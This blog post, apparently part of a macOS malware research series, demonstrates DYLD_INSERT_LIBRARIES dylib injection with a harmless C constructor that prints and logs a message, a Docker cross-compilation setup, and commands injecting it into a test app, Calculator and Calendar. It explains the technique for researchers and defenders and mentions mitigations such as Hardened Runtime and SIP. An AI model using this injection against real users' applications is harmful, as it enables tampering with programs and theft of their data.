MacOS hacking part 2: classic injection trick into macOS applications. Simple C example
﷽
Hello, cybersecurity enthusiasts and white hackers!
This post is the next in series of posts about macOS/Apple hacking and malware. In this post, I’ll walk you through how you can still use one of the “classic” injection trick into macOS. macOS is known for its strong security measures, but like every operating system, it still has some vulnerabilities that can be exploited by attackers. One such exploit, DYLD_INSERT_LIBRARIES
, provides a powerful tool for injecting dynamic libraries (dylibs) into running applications. This trick allows attackers to tamper with macOS apps by injecting their own code, bypassing traditional security mechanisms, and stealing or manipulating sensitive data.
the power of DYLD_INSERT_LIBRARIES
A few theoretical intro words. `DYLD_INSERT_LIBRARIES is an environment variable used to insert dynamic libraries into a running application before it loads. This is a feature built into macOS’s dynamic linker (dyld). The key advantage of this technique is that it allows attackers to inject code into userland processes without needing administrative privileges or root access. The injected dylib runs with the same privileges as the targeted application, making it a powerful tool for attackers.
While DYLD_INSERT_LIBRARIES
is typically used for legitimate development purposes, such as debugging and testing libraries, it can easily be abused to inject malicious code into any running application.
how it works?
First of all, the attacker sets the environment variable DYLD_INSERT_LIBRARIES
to point to a malicious dylib. Let’s say we have “malicious” dylib: bad.dylib
. This can be done in the terminal with the following command:
DYLD_INSERT_LIBRARIES=/path/to/bad.dylib <application>
Then, when the application runs, the dyld linker loads the malicious dylib first, before any of the application’s usual dynamic libraries. The injected code can now interact with the application’s memory, monitor its activities, or modify its behavior.
practical example
Let’s break down an example of how a malicious attacker can use DYLD_INSERT_LIBRARIES
to hijack a simple macOS application. The attacker first creates a malicious dylib that will be injected into the target application. Here’s an example of a malicious dylib in C that prints a message and logs it to syslog when loaded:
/*
* hello.c
* simple mac dylib
* author @cocomelonc
* https://cocomelonc.github.io/macos/2025/06/19/malware-mac-2.html
*/
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
printf("Meow-meow from dylib!\n");
syslog(LOG_ERR, "dylib injection successful %s\n", argv[0]);
}
As you can see, the logic is pretty simple: this dylib just prints Meow-meow from dylib!
to the console and logs the event to syslog. It is designed to log the fact that it was injected.
Next, we need to choose a target macOS application. For the sake of simplicity, let’s use a basic Hello World application. Here’s a simple C code for it:
/*
* hello.c
* simple mac victim app
* author @cocomelonc
* https://cocomelonc.github.io/macos/2025/06/19/malware-mac-2.html
*/
#include <stdio.h>
int main() {
printf("Hello, macOS World!\n");
return 0;
}
As you can see, just print message.
demo
Let’s go to see everything in action. For compilation from linux I just use as usual my favorite cross-compiler via docker. This is a structure of my project:
So, for compilation, prepare Dockerfile:
# use the macOS cross-compiler image as the base
FROM ghcr.io/shepherdjerred/macos-cross-compiler:latest
# update package list and install required packages
RUN apt-get update && \
apt-get install -y \
curl \
pkg-config \
libssl-dev \
gcc-mingw-w64 \
clang \
cmake \
make \
zlib1g-dev
# copy macOS project code into the container
COPY ./hack /app
# set the working directory
WORKDIR /app
# execute the hack_compiler script and keep the container alive
CMD ["/bin/bash", "-c", "x86_64-apple-darwin24-g++ /app/hello.c -o /app/hello -static-libgcc -static-libstdc++ -O3"]
CMD ["/bin/bash", "-c", "x86_64-apple-darwin24-g++ -dynamiclib -static-libgcc -static-libstdc++ -O3 -o /app/hack.dylib /app/hack.c"]
CMD ["/bin/bash", "-c", "tail -f /dev/null"]
and docker compose file:
networks:
mac_net:
services:
hack:
build:
context: ./injection
volumes:
- ./injection/hack:/app
working_dir: /app
networks:
- mac_net
Then just run the following commands for cross-compilation:
docker compose build
docker compose up -d
check compiled binaries:
docker exec -it 3b592097 bash
Finally, copy binaries to the victim’s machine (macOS Sonoma
VM in my case). For checking corectness, run victim app:
./hello
Then do injection trick:
DYLD_INSERT_LIBRARIES=hack.dylib ./hello
Check from logs:
log show --last 10s | grep "injection"
As you can see, everything is worked perfectly! =^..^=
What about macOS applications? Let’s set calculator as a victim application and run:
cd /System/Applications/Calculator.app/Contents/MacOS/
DYLD_INSERT_LIBRARIES=~/Desktop/hack.dylib ./Calculator
Checking system logs:
Calendar app as a victim application:
cd /System/Applications/Calendar.app/Contents/MacOS/
DYLD_INSERT_LIBRARIES=~/Desktop/hack.dylib ./Calendar
As you can see, everything is worked perfectly in this case: this shows that the injection was successful and that the our attacker’s dylib is now running alongside the applications! =^..^=
However, macOS has introduced several security features, such as Hardened Runtime and Library Validation, to mitigate these attacks. By enabling these protections, developers can significantly reduce the risk of dylib injection attacks on macOS.
DYLD_INSERT_LIBRARIES
injection can work on bare metal macOS as well as virtualized macOS environments (such as our Quickemu virtual macOS setup), but with important caveats and security measures in place. For example, SIP (System Integrity Protection) is a security feature in macOS that restricts certain system modifications, including the injection of dylibs into system processes and other critical areas of the OS. Also, DYLD_INSERT_LIBRARIES
injection on bare metal macOS will still work for userland processes, but SIP will prevent dylib injections into system-level processes.
APT34 (aka OILRIG) is known to use code injection techniques to interact with macOS and Linux systems, leveraging vulnerabilities and weaknesses in the system’s security mechanisms to inject code into running processes.
APT10 (aka Red Apollo), another advanced Chinese group, has been known to use techniques like process injection and DLL hijacking to manipulate and monitor systems. This is conceptually similar to DYLD_INSERT_LIBRARIES because it involves injecting malicious code into existing applications.
I hope this post is useful for malware researchers, macOS/Apple security researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
MacOS hacking part 1
https://github.com/quickemu-project/quickemu
https://github.com/shepherdjerred/macos-cross-compiler
https://github.com/tpoechtrager/osxcross
Apple: Hardened Runtime
APT34 (aka OILRIG)
APT10 (aka Red Apollo)
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine